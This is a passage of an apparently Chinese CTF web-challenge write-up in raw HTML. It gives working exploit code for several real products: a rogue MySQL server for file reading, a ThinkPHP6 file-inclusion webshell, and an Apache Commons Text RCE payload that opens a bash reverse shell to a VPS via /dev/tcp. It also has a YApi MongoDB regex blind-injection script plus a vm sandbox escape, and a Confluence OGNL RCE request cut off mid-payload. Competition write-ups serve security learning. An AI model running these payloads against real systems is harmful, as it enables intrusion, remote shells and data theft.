<span class="code-snippet__keyword">self</span>.push(<span class="code-snippet__string">&#39;None&#39;</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.close_when_done()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">mysql_listener</span>(<span class="code-snippet__title">asyncore</span>.<span class="code-snippet__title">dispatcher</span>):</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>, sock=None)</span></span>:</span></code><code><span class="code-snippet_outer">        asyncore.dispatcher.__init_<span class="code-snippet__number">_</span>(<span class="code-snippet__keyword">self</span>, sock)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">not</span> <span class="code-snippet__symbol">sock:</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.create_socket(socket.AF_INET, socket.SOCK_STREAM)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.set_reuse_addr()</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__symbol">try:</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">self</span>.bind((<span class="code-snippet__string">&#39;&#39;</span>, PORT))</span></code><code><span class="code-snippet_outer">            except socket.<span class="code-snippet__symbol">error:</span></span></code><code><span class="code-snippet_outer">                exit()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.listen(<span class="code-snippet__number">5</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">handle_accept</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>)</span></span>:</span></code><code><span class="code-snippet_outer">        pair = <span class="code-snippet__keyword">self</span>.accept()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> pair is <span class="code-snippet__keyword">not</span> <span class="code-snippet__symbol">None:</span></span></code><code><span class="code-snippet_outer">            log.info(<span class="code-snippet__string">&#39;Conn from: %r&#39;</span>, pair[<span class="code-snippet__number">1</span>])</span></code><code><span class="code-snippet_outer">            tmp = http_request_handler(pair)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">z = mysql_listener()</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># daemonize()</span></span></code><code><span class="code-snippet_outer">asyncore.loop()</span></code></pre></section><p>在vps上开启恶意mysql服务器，在web页面填写恶意服务器地址，在vps的mysql.log即可读取flag。</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="553" data-cropsely1="0" data-cropsely2="142" data-ratio="0.2571428571428571" style="width: 553px;height: 142px;" data-type="png" data-w="1015" src="https://wechat2rss.xlab.app/img-proxy/?k=27a07410&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXUYRQN4ciaOL9lGUI3hDghx4VcUPW7l5lImCgkFicXKoxRazdlic30jIcw%2F640%3Fwx_fmt%3Dpng"/></p><h1><span style="font-size: 24px;"><strong>0x3 Be-a-Language-Expert</strong></span></h1><p>thinkphp6 多语言文件包含漏洞。</p><p>写入webshell</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="335" data-ratio="0.5784615384615385" style="width: 578px;height: 334px;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=07d492b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXOiahMrSgd0TXkWKHoVDsoSGxmUl0zdlqokESWDaLao716tqiaA77zfPA%2F640%3Fwx_fmt%3Dpng"/></p><p>蚁剑连接</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="316" data-ratio="0.5459770114942529" style="width: 578px;height: 315px;" data-type="png" data-w="870" src="https://wechat2rss.xlab.app/img-proxy/?k=f52cd899&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXicXu0aAiaQBBRKZUPTUB61JkeFjpqLuiaI9iak2Rv6dqnyH4RUAMsr37EQ%2F640%3Fwx_fmt%3Dpng"/></p><p>readflag</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="357" data-cropsely1="0" data-cropsely2="370" data-ratio="1.036613272311213" style="width: 357px;height: 370px;" data-type="png" data-w="437" src="https://wechat2rss.xlab.app/img-proxy/?k=0f3c2851&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXa3ZQGHj7UeU7NXgPzda0vwArhic64lGy5UXMVYx7MfGkfleg53hjlCA%2F640%3Fwx_fmt%3Dpng"/></p><h1><span style="font-size: 24px;"><strong>0x4 Apache Commons Text</strong></span></h1><p>Apache Commons Text远程代码执行漏洞。通过分析可知，后端做了一些黑名单策略。不允许出现script、file等字符串。</p><p><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="53" data-ratio="0.09071580439404678" style="height: 52px;white-space: normal;width: 578px;" data-type="png" data-w="1411" src="https://wechat2rss.xlab.app/img-proxy/?k=08a1a68e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXibN2staxhv6ZwmXFNufh8STaLQHAPuYKsicdFRK4tcicOWl6HicI6dibLBA%2F640%3Fwx_fmt%3Dpng"/></p><p>base64函数可用，编码后能被执行，但无回显</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__variable">${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImxzIikudG9TdHJpbmcoKX0=}</span></span></code></pre></section><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="70" data-ratio="0.12054794520547946" style="width: 578px;height: 70px;" data-type="png" data-w="1460" src="https://wechat2rss.xlab.app/img-proxy/?k=f27d2a45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXKWRSzrNibkPWO9yS0fbRF0kqdGh037nQwUDmbqXMkXYWsgzrLyShDMg%2F640%3Fwx_fmt%3Dpng"/></p><p>对如下payload进行base64加密：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="shell"><code><span class="code-snippet_outer"><span class="code-snippet__meta">$</span>{script:js:java.lang.Runtime.getRuntime().<span class="code-snippet__built_in">exec</span>(<span class="code-snippet__string">&#34;/bin/bash -c <span class="code-snippet__variable">$@</span>|bash 0 echo bash -i &gt;&amp;/dev/tcp/vps_ip/2333 0&gt;&amp;1&#34;</span>)}</span></code></pre></section><p style="">反弹shell成功<br/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="132" data-ratio="0.22828282828282828" style="width: 578px;height: 132px;" data-type="png" data-w="990" src="https://wechat2rss.xlab.app/img-proxy/?k=6e2f96c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXI9LSf05DCr9xiczrZ7j9KglCBAGbHTv9icqeeQ3YrtcibIMCibyTlkeH8Q%2F640%3Fwx_fmt%3Dpng"/></p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="293" data-cropsely1="0" data-cropsely2="77" data-ratio="0.26222222222222225" style="width: 294px;height: 77px;" data-type="png" data-w="450" src="https://wechat2rss.xlab.app/img-proxy/?k=858c4319&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXDLrkozBAwKSQ8fSWJStFAquQMSJlib0iazE0PwrTTolfS6nNMXiaY5bEQ%2F640%3Fwx_fmt%3Dpng"/></p><p>readflag </p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="370" data-cropsely1="0" data-cropsely2="82" data-ratio="0.2226148409893993" style="width: 370px;height: 82px;" data-type="png" data-w="566" src="https://wechat2rss.xlab.app/img-proxy/?k=1ab64ed3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXCC51h8COX6CbeyFh6Z8Z9eFyGIGZ0hl0WSbaAznnJ8TgPPgORHPib8w%2F640%3Fwx_fmt%3Dpng"/></p><h1><strong><span style="font-size: 24px;">0x5 Yummy Api</span></strong></h1><p>默认账号密码 admin@admin.com/ymfe.org。先尝试了一下添加接口高级Mock脚本命令执行，没成功。</p><p>尝试mongodb注入获取token，从而实现vm逃逸。</p><p>先盲注获得token：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> requests</span></code><code><span class="code-snippet_outer">tokenletter = <span class="code-snippet__string">&#34;0123456789abcedf&#34;</span></span></code><code><span class="code-snippet_outer">url1 = <span class="code-snippet__string">&#34;<a href="http://47.98.161.119:9090/api/project/get" target="_blank">http://47.98.161.119:9090/api/project/get</a>&#34;</span></span></code><code><span class="code-snippet_outer">token = <span class="code-snippet__string">&#34;&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">16</span>):</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> j <span class="code-snippet__keyword">in</span> tokenletter:</span></code><code><span class="code-snippet_outer">        body = {<span class="code-snippet__string">&#34;token&#34;</span>:{<span class="code-snippet__string">&#34;$regex&#34;</span>:<span class="code-snippet__string">&#34;^&#34;</span> + token + j}}</span></code><code><span class="code-snippet_outer">        resp = requests.get(url=url1,json=body,verify=<span class="code-snippet__keyword">False</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> <span class="code-snippet__string">&#34;406&#34;</span> <span class="code-snippet__keyword">in</span> resp.text:</span></code><code><span class="code-snippet_outer">            print(body)</span></code><code><span class="code-snippet_outer">            token += j</span></code><code><span class="code-snippet_outer">            print(token)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#8fa743801266b2391d16</span></span></code></pre></section><p>得到token为8fa743801266b2391d16。</p><p>aes192加密token得到uidtoken，遍历id发现id=11时有数据</p><p><v:shapetype coordsize="21600,21600" xmlns:o="urn:schemas-microsoft-com:office:office" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" o:preferrelative="t" filled="f" stroked="f"><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path></v:shapetype><img class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="76" data-ratio="0.13191929643041903" style="width: 578px;height: 76px;" data-type="png" data-w="1933" src="https://wechat2rss.xlab.app/img-proxy/?k=13beb623&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLibCRpPvyjaszzZubhIa0NXV3pVfTGr4YzlrIZLybgs3J4nHOjxk9bzwIPtsUTQku15ZAyEuXsu1A%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><span style="color: rgb(0, 0, 0);">写脚本获取加密后的uidtoken</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">const</span> crypto = <span class="code-snippet__built_in">require</span>(<span class="code-snippet__string">&#39;crypto&#39;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">uid = <span class="code-snippet__string">&#34;11&#34;</span></span></code><code><span class="code-snippet_outer">token = <span class="code-snippet__string">&#34;8fa743801266b2391d16&#34;</span></span></code><code><span class="code-snippet_outer">data = uid + <span class="code-snippet__string">&#34;|&#34;</span> + token</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">password = <span class="code-snippet__string">&#34;abcde&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 如下方法使用指定的算法与密码来创建cipher对象</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">const</span> cipher = crypto.createCipher(<span class="code-snippet__string">&#39;aes192&#39;</span>, password);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 使用该对象的update方法来指定需要被加密的数据</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">let</span> crypted = cipher.update(data, <span class="code-snippet__string">&#39;utf-8&#39;</span>, <span class="code-snippet__string">&#39;hex&#39;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">crypted += cipher.final(<span class="code-snippet__string">&#39;hex&#39;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">console</span>.log(crypted)</span></code></pre></section><p><span style="display: none;line-height: 0px;">‍</span></p><p>得到加密后的token为：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc</span></code></pre></section><p>接着上传vm逃逸脚本</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> requests</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> re</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">token = <span class="code-snippet__string">&#34;043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc&#34;</span></span></code><code><span class="code-snippet_outer">url = <span class="code-snippet__string">f&#39;<a href="http://47.98.161.119:9090/api/project/up?token=" target="_blank">http://47.98.161.119:9090/api/project/up?token=</a><span class="code-snippet__subst">{token}</span>&#39;</span></span></code><code><span class="code-snippet_outer">headers = {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;content-type&#34;</span>:<span class="code-snippet__string">&#34;application/json&#34;</span></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">vm2Script = <span class="code-snippet__string">&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">const sandbox = this</span></code><code><span class="code-snippet_outer">const ObjectConstructor = this.constructor</span></code><code><span class="code-snippet_outer">const FunctionConstructor = ObjectConstructor.constructor</span></code><code><span class="code-snippet_outer">const myfun = FunctionConstructor(&#39;return process&#39;)</span></code><code><span class="code-snippet_outer">const process = myfun()</span></code><code><span class="code-snippet_outer">mockJson = process.mainModule.require(&#34;child_process&#34;).execSync(&#34;/readflag&#34;).toString()</span></code><code><span class="code-snippet_outer">context.responseData = &#39;testtest&#39; + mockJson + &#39;testtest&#39;</span></code><code><span class="code-snippet_outer">console.log(responseData)</span></code><code><span class="code-snippet_outer">&#34;&#34;&#34;</span></code><code><span class="code-snippet_outer">body_json = {<span class="code-snippet__string">&#34;id&#34;</span>:<span class="code-snippet__number">11</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;pre_script&#34;</span>:<span class="code-snippet__string">&#34;&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;after_script&#34;</span>:vm2Script}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">print(body_json)</span></code><code><span class="code-snippet_outer">id = <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">while</span> id:</span></code><code><span class="code-snippet_outer">    body_json[<span class="code-snippet__string">&#34;id&#34;</span>] = id <span class="code-snippet__comment">## 项目id 需要枚举</span></span></code><code><span class="code-snippet_outer">    resp = requests.post(url=url,headers=headers,json=body_json)</span></code><code><span class="code-snippet_outer">    print(resp.status_code)</span></code><code><span class="code-snippet_outer">    print(resp.text)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> resp.status_code == <span class="code-snippet__number">200</span> <span class="code-snippet__keyword">and</span> re.search(<span class="code-snippet__string">&#34;\&#34;errcode\&#34;:0&#34;</span>,resp.text):</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">&#34;[*] pre-response 脚本上传成功&#34;</span>)</span></code><code><span class="code-snippet_outer">        id = <span class="code-snippet__keyword">False</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">&#34;[*] pre-response 脚本上传失败&#34;</span>)</span></code><code><span class="code-snippet_outer">        id+=<span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#id=66时成功</span></span></code></pre></section><p>最后触发漏洞得到flag</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> requests</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> re</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">token = <span class="code-snippet__string">&#34;043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">id = <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">while</span> id:</span></code><code><span class="code-snippet_outer">    url =<span class="code-snippet__string">f&#39;<a href="http://47.98.161.119:9090/api/open/run_auto_test?id=" target="_blank">http://47.98.161.119:9090/api/open/run_auto_test?id=</a><span class="code-snippet__subst">{id}</span>&amp;token=<span class="code-snippet__subst">{token}</span>&amp;mode=html&#39;</span></span></code><code><span class="code-snippet_outer">    resp = requests.get(url=url)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> re.search(<span class="code-snippet__string">&#34;YAPI&#34;</span>,resp.text) <span class="code-snippet__keyword">and</span> re.search(<span class="code-snippet__string">&#34;&#34;</span>,resp.text):</span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">&#34;[*] 命令执行成功&#34;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># print(url)</span></span></code><code><span class="code-snippet_outer">        print(<span class="code-snippet__string">&#34;===&#34;</span>)</span></code><code><span class="code-snippet_outer">        print(id)</span></code><code><span class="code-snippet_outer">        print(re.search(<span class="code-snippet__string">&#34;testtest[\s\S]*testtest&#34;</span>,resp.text)[<span class="code-snippet__number">0</span>])</span></code><code><span class="code-snippet_outer">        id = <span class="code-snippet__keyword">False</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">break</span></span></code><code><span class="code-snippet_outer">    print(url)</span></code><code><span class="code-snippet_outer">    id += <span class="code-snippet__number">1</span> </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">exit()</span></code></pre></section><h1><span style="font-size: 24px;"><strong>0x6 Be-a-Wiki-Hacker</strong></span></h1><p>Atlassian Confluence远程代码执行漏洞</p><p>payload如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">GET</span> /<span class="code-snippet__number">%24</span><span class="code-snippet__number">%7</span>B<span class="code-snippet__number">%28</span><span class="code-snippet__number">%23</span>a<span class="code-snippet__number">%3</span>D<span class="code-snippet__number">%40</span>org.apache.commons.io.IOUtils<span class="code-snippet__number">%40</span>toString<span class="code-snippet__number">%28</span><span class="code-snippet__number">%40</span>java.lang.Runtime<span class="code-snippet__number">%40</span>getRuntime<span class="code-snippet__number">%28</span><span class="code-snippet__number">%29</span>.exec<span class="code-snippet__number">%28</span><span class="code-snippet__number">%22</span>cat<span class="code-snippet__number">%20</span>/flag<span class="code-snippet__number">%22</span><span class="code-snippet__number">%29</span>.getInputStream<span class="code-snippet__number">%28</span><span class="code-snippet__number">%29</span><span class="code-snippet__number">%2</span>C<span class="code-snippet__number">%22</span>utf-8<span class="code-snippet__number">%22</span><span class="code-snippet__number">%29</span><span class="code-snippet__number">%29</span>.<span class="code-snippet__number">%28</span><span 